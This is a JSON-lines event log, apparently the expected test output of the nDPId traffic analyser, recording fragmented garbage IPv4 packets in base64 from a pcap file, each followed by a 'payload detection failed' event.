+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130791,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130803,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130862,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130934,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130957,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":130994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131062,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131074,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131086,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131101,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131113,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131256,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131317,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 